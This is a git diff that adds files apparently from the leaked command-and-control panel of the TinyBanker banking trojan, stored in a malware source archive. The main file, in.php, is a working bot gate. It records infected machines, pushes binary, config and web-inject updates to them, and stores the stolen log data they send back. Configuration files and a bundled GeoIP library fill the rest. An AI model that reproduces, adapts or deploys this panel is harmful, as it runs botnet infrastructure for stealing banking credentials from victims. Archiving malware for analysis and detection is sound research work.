+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking1.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking1.php new file mode 100644 index 0000000..2c3fb3e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking1.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking2.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking2.php new file mode 100644 index 0000000..f1bdcb2 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking2.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking3.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking3.php new file mode 100644 index 0000000..df92d1d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/tracking.tracking3.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/data/.htaccess b/malwares/Source/Original/TinyBanker_Jan2012/admin/data/.htaccess new file mode 100644 index 0000000..baa56e5 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/data/.htaccess @@ -0,0 +1,2 @@ +order allow,deny +deny from all \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/botnets.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/botnets.php new file mode 100644 index 0000000..9f064c1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/botnets.php @@ -0,0 +1,4 @@ + 'default_password', 'comment' => 'default botnet'); diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/suppliers.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/suppliers.php new file mode 100644 index 0000000..456698f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/data/titles/suppliers.php @@ -0,0 +1,4 @@ + '111'); diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/in.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/in.php new file mode 100644 index 0000000..588220b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/in.php @@ -0,0 +1,154 @@ + 0) $query .= "`time_bin`='{$time_bin}', "; + elseif (($time_cfg = Update(CMD_UPDATE_CONFIG, 'data/configs/config', $row['time_cfg'])) > 0) $query .= "`time_cfg`='{$time_cfg}', "; + elseif (($time_inj = Update(CMD_UPDATE_INJECTS, 'data/injects/injects', $row['time_inj'])) > 0) $query .= "`time_inj`='{$time_inj}', "; + } + + + if ($row['bot_uid'] == $bot_uid) { + $query = "UPDATE `bots` SET ".$query; + if ($row['bot_ip'] != $bot_ip) { + $row['bot_country'] = GetCountry($bot_ip); + $query .= "`bot_ip`='{$bot_ip}', `bot_country`='{$row['bot_country']}', "; + } + $query .= "`time_last`={$thetime} WHERE `bot_uid`='{$bot_uid}';"; + mysql_query($query); + } + else { + $row['bot_country'] = GetCountry($bot_ip); + $query = "INSERT INTO `bots` VALUES ('{$bot_uid}', '{$bot_os}', '{$bot_ip}', '{$row['bot_country']}', '{$bot_net}', '{$bot_supp}', {$supp_sub}, {$thetime}, {$thetime}, {$time_bin}, {$time_cfg}, {$time_inj}, '');"; + mysql_query($query); + } + + + + + $offset = 4; + $logs_table_name = 'logs_'.date('ymd', $thetime); + while ($offset < $DATA_len) { + $log_type = ord($DATA{$offset++}); + $log_len = ord($DATA{$offset++}) | (ord($DATA{$offset++})<<8) | (ord($DATA{$offset++})<<16) | (ord($DATA{$offset++})<<24); + $offset += $log_len; + if ($offset > $DATA_len) die; + if ($log_type==0) continue; + $log_data = mysql_escape_string(encrypt($BOTNETS[$bot_net]['password'], substr($DATA, $offset-$log_len, $log_len))); + + + $query = "INSERT INTO `{$logs_table_name}` VALUES (0, '{$bot_uid}', '{$bot_net}', '{$bot_supp}', {$supp_sub}, '{$bot_ip}', '{$row['bot_country']}', {$thetime}, {$log_type}, '{$log_data}', '');"; + if (!mysql_query($query) and mysql_errno()==1146) { + $TABLES = array(); + $res = mysql_query("SHOW TABLES LIKE 'logs%'"); + while ($row = mysql_fetch_row($res)) $TABLES[] = $row[0]; + rsort($TABLES); + $res = mysql_query("SHOW TABLE STATUS FROM `{$mysqlbase}` LIKE '{$TABLES[0]}'"); + $row = mysql_fetch_assoc($res); + mysql_query("CREATE TABLE IF NOT EXISTS `{$logs_table_name}` ( +`log_id` int(10) unsigned NOT NULL AUTO_INCREMENT, +`bot_uid` char(40) COLLATE utf8_unicode_ci NOT NULL, +`bot_net` varchar(12) COLLATE utf8_unicode_ci NOT NULL, +`bot_supp` varchar(12) COLLATE utf8_unicode_ci NOT NULL, +`supp_sub` tinyint(3) unsigned NOT NULL, +`bot_ip` varchar(15) COLLATE utf8_unicode_ci NOT NULL, +`bot_country` char(2) COLLATE utf8_unicode_ci NOT NULL, +`timestamp` int(10) unsigned NOT NULL, +`data_type` tinyint(3) unsigned NOT NULL, +`data` text COLLATE utf8_unicode_ci NOT NULL, +`comment` text COLLATE utf8_unicode_ci NOT NULL, +PRIMARY KEY (`log_id`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci AUTO_INCREMENT=".intval($row['Auto_increment'])); + mysql_query($query); + } + } + + + + + + + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/GeoIP.dat b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/GeoIP.dat new file mode 100644 index 0000000..2c43e2b Binary files /dev/null and b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/GeoIP.dat differ diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/continents.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/continents.php new file mode 100644 index 0000000..b1de275 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/continents.php @@ -0,0 +1,13 @@ + "Europe", + "OC" => "Oceania", + "NA" => "North America", + "SA" => "South America", + "AS" => "Asia", + "AF" => "Africa", + "AN" => "Antarctica", + "--" => "Unknown"); + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/datatypes.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/datatypes.php new file mode 100644 index 0000000..dd69c8d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/datatypes.php @@ -0,0 +1,9 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/geoip.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/geoip.php new file mode 100644 index 0000000..6eb3772 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/includes/geoip.php @@ -0,0 +1,727 @@ + 0, "AP" => 1, "EU" => 2, "AD" => 3, "AE" => 4, "AF" => 5, +"AG" => 6, "AI" => 7, "AL" => 8, "AM" => 9, "AN" => 10, "AO" => 11, +"AQ" => 12, "AR" => 13, "AS" => 14, "AT" => 15, "AU" => 16, "AW" => 17, +"AZ" => 18, "BA" => 19, "BB" => 20, "BD" => 21, "BE" => 22, "BF" => 23, +"BG" => 24, "BH" => 25, "BI" => 26, "BJ" => 27, "BM" => 28, "BN" => 29, +"BO" => 30, "BR" => 31, "BS" => 32, "BT" => 33, "BV" => 34, "BW" => 35, +"BY" => 36, "BZ" => 37, "CA" => 38, "CC" => 39, "CD" => 40, "CF" => 41, +"CG" => 42, "CH" => 43, "CI" => 44, "CK" => 45, "CL" => 46, "CM" => 47, +"CN" => 48, "CO" => 49, "CR" => 50, "CU" => 51, "CV" => 52, "CX" => 53, +"CY" => 54, "CZ" => 55, "DE" => 56, "DJ" => 57, "DK" => 58, "DM" => 59, +"DO" => 60, "DZ" => 61, "EC" => 62, "EE" => 63, "EG" => 64, "EH" => 65, +"ER" => 66, "ES" => 67, "ET" => 68, "FI" => 69, "FJ" => 70, "FK" => 71, +"FM" => 72, "FO" => 73, "FR" => 74, "FX" => 75, "GA" => 76, "GB" => 77, +"GD" => 78, "GE" => 79, "GF" => 80, "GH" => 81, "GI" => 82, "GL" => 83, +"GM" => 84, "GN" => 85, "GP" => 86, "GQ" => 87, "GR" => 88, "GS" => 89, +"GT" => 90, "GU" => 91, "GW" => 92, "GY" => 93, "HK" => 94, "HM" => 95, +"HN" => 96, "HR" => 97, "HT" => 98, "HU" => 99, "ID" => 100, "IE" => 101, +"IL" => 102, "IN" => 103, "IO" => 104, "IQ" => 105, "IR" => 106, "IS" => 107, +"IT" => 108, "JM" => 109, "JO" => 110, "JP" => 111, "KE" => 112, "KG" => 113, +"KH" => 114, "KI" => 115, "KM" => 116, "KN" => 117, "KP" => 118, "KR" => 119, +"KW" => 120, "KY" => 121, "KZ" => 122, "LA" => 123, "LB" => 124, "LC" => 125, +"LI" => 126, "LK" => 127, "LR" => 128, "LS" => 129, "LT" => 130, "LU" => 131, +"LV" => 132, "LY" => 133, "MA" => 134, "MC" => 135, "MD" => 136, "MG" => 137, +"MH" => 138, "MK" => 139, "ML" => 140, "MM" => 141, "MN" => 142, "MO" => 143, +"MP" => 144, "MQ" => 145, "MR" => 146, "MS" => 147, "MT" => 148, "MU" => 149, +"MV" => 150, "MW" => 151, "MX" => 152, "MY" => 153, "MZ" => 154, "NA" => 155, +"NC" => 156, "NE" => 157, "NF" => 158, "NG" => 159, "NI" => 160, "NL" => 161, +"NO" => 162, "NP" => 163, "NR" => 164, "NU" => 165, "NZ" => 166, "OM" => 167, +"PA" => 168, "PE" => 169, "PF" => 170, "PG" => 171, "PH" => 172, "PK" => 173, +"PL" => 174, "PM" => 175, "PN" => 176, "PR" => 177, "PS" => 178, "PT" => 179, +"PW" => 180, "PY" => 181, "QA" => 182, "RE" => 183, "RO" => 184, "RU" => 185, +"RW" => 186, "SA" => 187, "SB" => 188, "SC" => 189, "SD" => 190, "SE" => 191, +"SG" => 192, "SH" => 193, "SI" => 194, "SJ" => 195, "SK" => 196, "SL" => 197, +"SM" => 198, "SN" => 199, "SO" => 200, "SR" => 201, "ST" => 202, "SV" => 203, +"SY" => 204, "SZ" => 205, "TC" => 206, "TD" => 207, "TF" => 208, "TG" => 209, +"TH" => 210, "TJ" => 211, "TK" => 212, "TM" => 213, "TN" => 214, "TO" => 215, +"TL" => 216, "TR" => 217, "TT" => 218, "TV" => 219, "TW" => 220, "TZ" => 221, +"UA" => 222, "UG" => 223, "UM" => 224, "US" => 225, "UY" => 226, "UZ" => 227, +"VA" => 228, "VC" => 229, "VE" => 230, "VG" => 231, "VI" => 232, "VN" => 233, +"VU" => 234, "WF" => 235, "WS" => 236, "YE" => 237, "YT" => 238, "RS" => 239, +"ZA" => 240, "ZM" => 241, "ME" => 242, "ZW" => 243, "A1" => 244, "A2" => 245, +"O1" => 246, "AX" => 247, "GG" => 248, "IM" => 249, "JE" => 250, "BL" => 251, +"MF" => 252 +); + var $GEOIP_COUNTRY_CODES = array( +"--", "AP", "EU", "AD", "AE", "AF", "AG", "AI", "AL", "AM", "AN", "AO", "AQ", +"AR", "AS", "AT", "AU", "AW", "AZ", "BA", "BB", "BD", "BE", "BF", "BG", "BH", +"BI", "BJ", "BM", "BN", "BO", "BR", "BS", "BT", "BV", "BW", "BY", "BZ", "CA", +"CC", "CD", "CF", "CG", "CH", "CI", "CK", "CL", "CM", "CN", "CO", "CR", "CU", +"CV", "CX", "CY", "CZ", "DE", "DJ", "DK", "DM", "DO", "DZ", "EC", "EE", "EG", +"EH", "ER", "ES", "ET", "FI", "FJ", "FK", "FM", "FO", "FR", "FX", "GA", "GB", +"GD", "GE", "GF", "GH", "GI", "GL", "GM", "GN", "GP", "GQ", "GR", "GS", "GT", +"GU", "GW", "GY", "HK", "HM", "HN", "HR", "HT", "HU", "ID", "IE", "IL", "IN", +"IO", "IQ", "IR", "IS", "IT", "JM", "JO", "JP", "KE", "KG", "KH", "KI", "KM", +"KN", "KP", "KR", "KW", "KY", "KZ", "LA", "LB", "LC", "LI", "LK", "LR", "LS", +"LT", "LU", "LV", "LY", "MA", "MC", "MD", "MG", "MH", "MK", "ML", "MM", "MN", +"MO", "MP", "MQ", "MR", "MS", "MT", "MU", "MV", "MW", "MX", "MY", "MZ", "NA", +"NC", "NE", "NF", "NG", "NI", "NL", "NO", "NP", "NR", "NU", "NZ", "OM", "PA", +"PE", "PF", "PG", "PH", "PK", "PL", "PM", "PN", "PR", "PS", "PT", "PW", "PY", +"QA", "RE", "RO", "RU", "RW", "SA", "SB", "SC", "SD", "SE", "SG", "SH", "SI", +"SJ", "SK", "SL", "SM", "SN", "SO", "SR", "ST", "SV", "SY", "SZ", "TC", "TD", +"TF", "TG", "TH", "TJ", "TK", "TM", "TN", "TO", "TL", "TR", "TT", "TV", "TW", +"TZ", "UA", "UG", "UM", "US", "UY", "UZ", "VA", "VC", "VE", "VG", "VI", "VN", +"VU", "WF", "WS", "YE", "YT", "RS", "ZA", "ZM", "ME", "ZW", "A1", "A2", "O1", +"AX", "GG", "IM", "JE", "BL", "MF" +); + var $GEOIP_COUNTRY_CODES3 = array( +"--","AP","EU","AND","ARE","AFG","ATG","AIA","ALB","ARM","ANT","AGO","ATA","ARG", +"ASM","AUT","AUS","ABW","AZE","BIH","BRB","BGD","BEL","BFA","BGR","BHR","BDI", +"BEN","BMU","BRN","BOL","BRA","BHS","BTN","BVT","BWA","BLR","BLZ","CAN","CCK", +"COD","CAF","COG","CHE","CIV","COK","CHL","CMR","CHN","COL","CRI","CUB","CPV", +"CXR","CYP","CZE","DEU","DJI","DNK","DMA","DOM","DZA","ECU","EST","EGY","ESH", +"ERI","ESP","ETH","FIN","FJI","FLK","FSM","FRO","FRA","FX","GAB","GBR","GRD", +"GEO","GUF","GHA","GIB","GRL","GMB","GIN","GLP","GNQ","GRC","SGS","GTM","GUM", +"GNB","GUY","HKG","HMD","HND","HRV","HTI","HUN","IDN","IRL","ISR","IND","IOT", +"IRQ","IRN","ISL","ITA","JAM","JOR","JPN","KEN","KGZ","KHM","KIR","COM","KNA", +"PRK","KOR","KWT","CYM","KAZ","LAO","LBN","LCA","LIE","LKA","LBR","LSO","LTU", +"LUX","LVA","LBY","MAR","MCO","MDA","MDG","MHL","MKD","MLI","MMR","MNG","MAC", +"MNP","MTQ","MRT","MSR","MLT","MUS","MDV","MWI","MEX","MYS","MOZ","NAM","NCL", +"NER","NFK","NGA","NIC","NLD","NOR","NPL","NRU","NIU","NZL","OMN","PAN","PER", +"PYF","PNG","PHL","PAK","POL","SPM","PCN","PRI","PSE","PRT","PLW","PRY","QAT", +"REU","ROU","RUS","RWA","SAU","SLB","SYC","SDN","SWE","SGP","SHN","SVN","SJM", +"SVK","SLE","SMR","SEN","SOM","SUR","STP","SLV","SYR","SWZ","TCA","TCD","ATF", +"TGO","THA","TJK","TKL","TKM","TUN","TON","TLS","TUR","TTO","TUV","TWN","TZA", +"UKR","UGA","UMI","USA","URY","UZB","VAT","VCT","VEN","VGB","VIR","VNM","VUT", +"WLF","WSM","YEM","MYT","SRB","ZAF","ZMB","MNE","ZWE","A1","A2","O1", +"ALA","GGY","IMN","JEY","BLM","MAF" + ); + var $GEOIP_COUNTRY_NAMES = array( +"Unknown", "Asia/Pacific Region", "Europe", "Andorra", "United Arab Emirates", +"Afghanistan", "Antigua and Barbuda", "Anguilla", "Albania", "Armenia", +"Netherlands Antilles", "Angola", "Antarctica", "Argentina", "American Samoa", +"Austria", "Australia", "Aruba", "Azerbaijan", "Bosnia and Herzegovina", +"Barbados", "Bangladesh", "Belgium", "Burkina Faso", "Bulgaria", "Bahrain", +"Burundi", "Benin", "Bermuda", "Brunei Darussalam", "Bolivia", "Brazil", +"Bahamas", "Bhutan", "Bouvet Island", "Botswana", "Belarus", "Belize", +"Canada", "Cocos (Keeling) Islands", "Congo, The Democratic Republic of the", +"Central African Republic", "Congo", "Switzerland", "Cote D'Ivoire", "Cook Islands", +"Chile", "Cameroon", "China", "Colombia", "Costa Rica", "Cuba", "Cape Verde", +"Christmas Island", "Cyprus", "Czech Republic", "Germany", "Djibouti", +"Denmark", "Dominica", "Dominican Republic", "Algeria", "Ecuador", "Estonia", +"Egypt", "Western Sahara", "Eritrea", "Spain", "Ethiopia", "Finland", "Fiji", +"Falkland Islands (Malvinas)", "Micronesia, Federated States of", "Faroe Islands", +"France", "France, Metropolitan", "Gabon", "United Kingdom", +"Grenada", "Georgia", "French Guiana", "Ghana", "Gibraltar", "Greenland", +"Gambia", "Guinea", "Guadeloupe", "Equatorial Guinea", "Greece", "South Georgia and the South Sandwich Islands", +"Guatemala", "Guam", "Guinea-Bissau", +"Guyana", "Hong Kong", "Heard Island and McDonald Islands", "Honduras", +"Croatia", "Haiti", "Hungary", "Indonesia", "Ireland", "Israel", "India", +"British Indian Ocean Territory", "Iraq", "Iran, Islamic Republic of", +"Iceland", "Italy", "Jamaica", "Jordan", "Japan", "Kenya", "Kyrgyzstan", +"Cambodia", "Kiribati", "Comoros", "Saint Kitts and Nevis", "Korea, Democratic People's Republic of", +"Korea, Republic of", "Kuwait", "Cayman Islands", +"Kazakhstan", "Lao People's Democratic Republic", "Lebanon", "Saint Lucia", +"Liechtenstein", "Sri Lanka", "Liberia", "Lesotho", "Lithuania", "Luxembourg", +"Latvia", "Libyan Arab Jamahiriya", "Morocco", "Monaco", "Moldova, Republic of", +"Madagascar", "Marshall Islands", "Macedonia", +"Mali", "Myanmar", "Mongolia", "Macau", "Northern Mariana Islands", +"Martinique", "Mauritania", "Montserrat", "Malta", "Mauritius", "Maldives", +"Malawi", "Mexico", "Malaysia", "Mozambique", "Namibia", "New Caledonia", +"Niger", "Norfolk Island", "Nigeria", "Nicaragua", "Netherlands", "Norway", +"Nepal", "Nauru", "Niue", "New Zealand", "Oman", "Panama", "Peru", "French Polynesia", +"Papua New Guinea", "Philippines", "Pakistan", "Poland", "Saint Pierre and Miquelon", +"Pitcairn Islands", "Puerto Rico", "Palestinian Territory", +"Portugal", "Palau", "Paraguay", "Qatar", "Reunion", "Romania", +"Russian Federation", "Rwanda", "Saudi Arabia", "Solomon Islands", +"Seychelles", "Sudan", "Sweden", "Singapore", "Saint Helena", "Slovenia", +"Svalbard and Jan Mayen", "Slovakia", "Sierra Leone", "San Marino", "Senegal", +"Somalia", "Suriname", "Sao Tome and Principe", "El Salvador", "Syrian Arab Republic", +"Swaziland", "Turks and Caicos Islands", "Chad", "French Southern Territories", +"Togo", "Thailand", "Tajikistan", "Tokelau", "Turkmenistan", +"Tunisia", "Tonga", "Timor-Leste", "Turkey", "Trinidad and Tobago", "Tuvalu", +"Taiwan", "Tanzania, United Republic of", "Ukraine", +"Uganda", "United States Minor Outlying Islands", "United States", "Uruguay", +"Uzbekistan", "Holy See (Vatican City State)", "Saint Vincent and the Grenadines", +"Venezuela", "Virgin Islands, British", "Virgin Islands, U.S.", +"Vietnam", "Vanuatu", "Wallis and Futuna", "Samoa", "Yemen", "Mayotte", +"Serbia", "South Africa", "Zambia", "Montenegro", "Zimbabwe", +"Anonymous Proxy","Satellite Provider","Other", +"Aland Islands","Guernsey","Isle of Man","Jersey","Saint Barthelemy","Saint Martin" +); + + var $GEOIP_CONTINENT_CODES = array( + "--", "AS", "EU", "EU", "AS", "AS", "NA", "NA", "EU", "AS", + "NA", "AF", "AN", "SA", "OC", "EU", "OC", "NA", "AS", "EU", + "NA", "AS", "EU", "AF", "EU", "AS", "AF", "AF", "NA", "AS", + "SA", "SA", "NA", "AS", "AN", "AF", "EU", "NA", "NA", "AS", + "AF", "AF", "AF", "EU", "AF", "OC", "SA", "AF", "AS", "SA", + "NA", "NA", "AF", "AS", "AS", "EU", "EU", "AF", "EU", "NA", + "NA", "AF", "SA", "EU", "AF", "AF", "AF", "EU", "AF", "EU", + "OC", "SA", "OC", "EU", "EU", "EU", "AF", "EU", "NA", "AS", + "SA", "AF", "EU", "NA", "AF", "AF", "NA", "AF", "EU", "AN", + "NA", "OC", "AF", "SA", "AS", "AN", "NA", "EU", "NA", "EU", + "AS", "EU", "AS", "AS", "AS", "AS", "AS", "EU", "EU", "NA", + "AS", "AS", "AF", "AS", "AS", "OC", "AF", "NA", "AS", "AS", + "AS", "NA", "AS", "AS", "AS", "NA", "EU", "AS", "AF", "AF", + "EU", "EU", "EU", "AF", "AF", "EU", "EU", "AF", "OC", "EU", + "AF", "AS", "AS", "AS", "OC", "NA", "AF", "NA", "EU", "AF", + "AS", "AF", "NA", "AS", "AF", "AF", "OC", "AF", "OC", "AF", + "NA", "EU", "EU", "AS", "OC", "OC", "OC", "AS", "NA", "SA", + "OC", "OC", "AS", "AS", "EU", "NA", "OC", "NA", "AS", "EU", + "OC", "SA", "AS", "AF", "EU", "EU", "AF", "AS", "OC", "AF", + "AF", "EU", "AS", "AF", "EU", "EU", "EU", "AF", "EU", "AF", + "AF", "SA", "AF", "NA", "AS", "AF", "NA", "AF", "AN", "AF", + "AS", "AS", "OC", "AS", "AF", "OC", "AS", "EU", "NA", "OC", + "AS", "AF", "EU", "AF", "OC", "NA", "SA", "AS", "EU", "NA", + "SA", "NA", "NA", "AS", "OC", "OC", "OC", "AS", "AF", "EU", + "AF", "AF", "EU", "AF", "--", "--", "--", "EU", "EU", "EU", + "EU", "NA", "NA" +); + +} +function geoip_load_shared_mem ($file) { + + $fp = fopen($file, "rb"); + if (!$fp) { + print "error opening $file: $php_errormsg\n"; + exit; + } + $s_array = fstat($fp); + $size = $s_array['size']; + if ($shmid = @shmop_open (GEOIP_SHM_KEY, "w", 0, 0)) { + shmop_delete ($shmid); + shmop_close ($shmid); + } + $shmid = shmop_open (GEOIP_SHM_KEY, "c", 0644, $size); + shmop_write ($shmid, fread($fp, $size), 0); + shmop_close ($shmid); +} + +function _setup_segments($gi){ + $gi->databaseType = GEOIP_COUNTRY_EDITION; + $gi->record_length = STANDARD_RECORD_LENGTH; + if ($gi->flags & GEOIP_SHARED_MEMORY) { + $offset = @shmop_size ($gi->shmid) - 3; + for ($i = 0; $i < STRUCTURE_INFO_MAX_SIZE; $i++) { + $delim = @shmop_read ($gi->shmid, $offset, 3); + $offset += 3; + if ($delim == (chr(255).chr(255).chr(255))) { + $gi->databaseType = ord(@shmop_read ($gi->shmid, $offset, 1)); + $offset++; + + if ($gi->databaseType == GEOIP_REGION_EDITION_REV0){ + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV0; + } else if ($gi->databaseType == GEOIP_REGION_EDITION_REV1){ + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV1; + } else if (($gi->databaseType == GEOIP_CITY_EDITION_REV0)|| + ($gi->databaseType == GEOIP_CITY_EDITION_REV1) + || ($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION_V6) + || ($gi->databaseType == GEOIP_LOCATIONA_EDITION) + || ($gi->databaseType == GEOIP_ACCURACYRADIUS_EDITION) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV0_V6) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_ASNUM_EDITION) + || ($gi->databaseType == GEOIP_ASNUM_EDITION_V6)){ + $gi->databaseSegments = 0; + $buf = @shmop_read ($gi->shmid, $offset, SEGMENT_RECORD_LENGTH); + for ($j = 0;$j < SEGMENT_RECORD_LENGTH;$j++){ + $gi->databaseSegments += (ord($buf[$j]) << ($j * 8)); + } + if (($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6)) { + $gi->record_length = ORG_RECORD_LENGTH; + } + } + break; + } else { + $offset -= 4; + } + } + if (($gi->databaseType == GEOIP_COUNTRY_EDITION)|| + ($gi->databaseType == GEOIP_COUNTRY_EDITION_V6)|| + ($gi->databaseType == GEOIP_PROXY_EDITION)|| + ($gi->databaseType == GEOIP_NETSPEED_EDITION)){ + $gi->databaseSegments = GEOIP_COUNTRY_BEGIN; + } + } else { + $filepos = ftell($gi->filehandle); + fseek($gi->filehandle, -3, SEEK_END); + for ($i = 0; $i < STRUCTURE_INFO_MAX_SIZE; $i++) { + $delim = fread($gi->filehandle,3); + if ($delim == (chr(255).chr(255).chr(255))){ + $gi->databaseType = ord(fread($gi->filehandle,1)); + if ($gi->databaseType == GEOIP_REGION_EDITION_REV0){ + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV0; + } + else if ($gi->databaseType == GEOIP_REGION_EDITION_REV1){ + $gi->databaseSegments = GEOIP_STATE_BEGIN_REV1; + } else if (($gi->databaseType == GEOIP_CITY_EDITION_REV0) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV0_V6) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_ORG_EDITION) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION) + || ($gi->databaseType == GEOIP_ISP_EDITION) + || ($gi->databaseType == GEOIP_ORG_EDITION_V6) + || ($gi->databaseType == GEOIP_DOMAIN_EDITION_V6) + || ($gi->databaseType == GEOIP_ISP_EDITION_V6) + || ($gi->databaseType == GEOIP_LOCATIONA_EDITION) + || ($gi->databaseType == GEOIP_ACCURACYRADIUS_EDITION) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV0_V6) + || ($gi->databaseType == GEOIP_CITY_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1) + || ($gi->databaseType == GEOIP_NETSPEED_EDITION_REV1_V6) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION) + || ($gi->databaseType == GEOIP_USERTYPE_EDITION_V6) + || ($gi->databaseType == GEOIP_ASNUM_EDITION) + || ($gi->databaseType == GEOIP_ASNUM_EDITION_V6)){ + $gi->databaseSegments = 0; + $buf = fread($gi->filehandle,SEGMENT_RECORD_LENGTH); + for ($j = 0;$j < SEGMENT_RECORD_LENGTH;$j++){ + $gi->databaseSegments += (ord($buf[$j]) << ($j * 8)); + } + if ( ( $gi->databaseType == GEOIP_ORG_EDITION ) + || ( $gi->databaseType == GEOIP_DOMAIN_EDITION ) + || ( $gi->databaseType == GEOIP_ISP_EDITION ) + || ( $gi->databaseType == GEOIP_ORG_EDITION_V6 ) + || ( $gi->databaseType == GEOIP_DOMAIN_EDITION_V6 ) + || ( $gi->databaseType == GEOIP_ISP_EDITION_V6 )) { + $gi->record_length = ORG_RECORD_LENGTH; + } + } + break; + } else { + fseek($gi->filehandle, -4, SEEK_CUR); + } + } + if (($gi->databaseType == GEOIP_COUNTRY_EDITION)|| + ($gi->databaseType == GEOIP_COUNTRY_EDITION_V6)|| + ($gi->databaseType == GEOIP_PROXY_EDITION)|| + ($gi->databaseType == GEOIP_NETSPEED_EDITION)){ + $gi->databaseSegments = GEOIP_COUNTRY_BEGIN; + } + fseek($gi->filehandle,$filepos,SEEK_SET); + } + return $gi; +} + +function geoip_open($filename, $flags) { + $gi = new GeoIP; + $gi->flags = $flags; + if ($gi->flags & GEOIP_SHARED_MEMORY) { + $gi->shmid = @shmop_open (GEOIP_SHM_KEY, "a", 0, 0); + } else { + $gi->filehandle = fopen($filename,"rb") or die( "Can not open $filename\n" ); + if ($gi->flags & GEOIP_MEMORY_CACHE) { + $s_array = fstat($gi->filehandle); + $gi->memory_buffer = fread($gi->filehandle, $s_array['size']); + } + } + + $gi = _setup_segments($gi); + return $gi; +} + +function geoip_close($gi) { + if ($gi->flags & GEOIP_SHARED_MEMORY) { + return true; + } + + return fclose($gi->filehandle); +} + +function geoip_country_id_by_name_v6($gi, $name) { + $rec = dns_get_record($name, DNS_AAAA); + if ( !$rec ) { + return false; + } + $addr = $rec[0]["ipv6"]; + if (!$addr || $addr == $name) { + return false; + } + return geoip_country_id_by_addr_v6($gi, $addr); +} + +function geoip_country_id_by_name($gi, $name) { + $addr = gethostbyname($name); + if (!$addr || $addr == $name) { + return false; + } + return geoip_country_id_by_addr($gi, $addr); +} + +function geoip_country_code_by_name_v6($gi, $name) { + $country_id = geoip_country_id_by_name_v6($gi,$name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + return false; +} + +function geoip_country_code_by_name($gi, $name) { + $country_id = geoip_country_id_by_name($gi,$name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_CODES[$country_id]; + } + return false; +} + +function geoip_country_name_by_name_v6($gi, $name) { + $country_id = geoip_country_id_by_name_v6($gi,$name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } + return false; +} + +function geoip_country_name_by_name($gi, $name) { + $country_id = geoip_country_id_by_name($gi,$name); + if ($country_id !== false) { + return $gi->GEOIP_COUNTRY_NAMES[$country_id]; + } 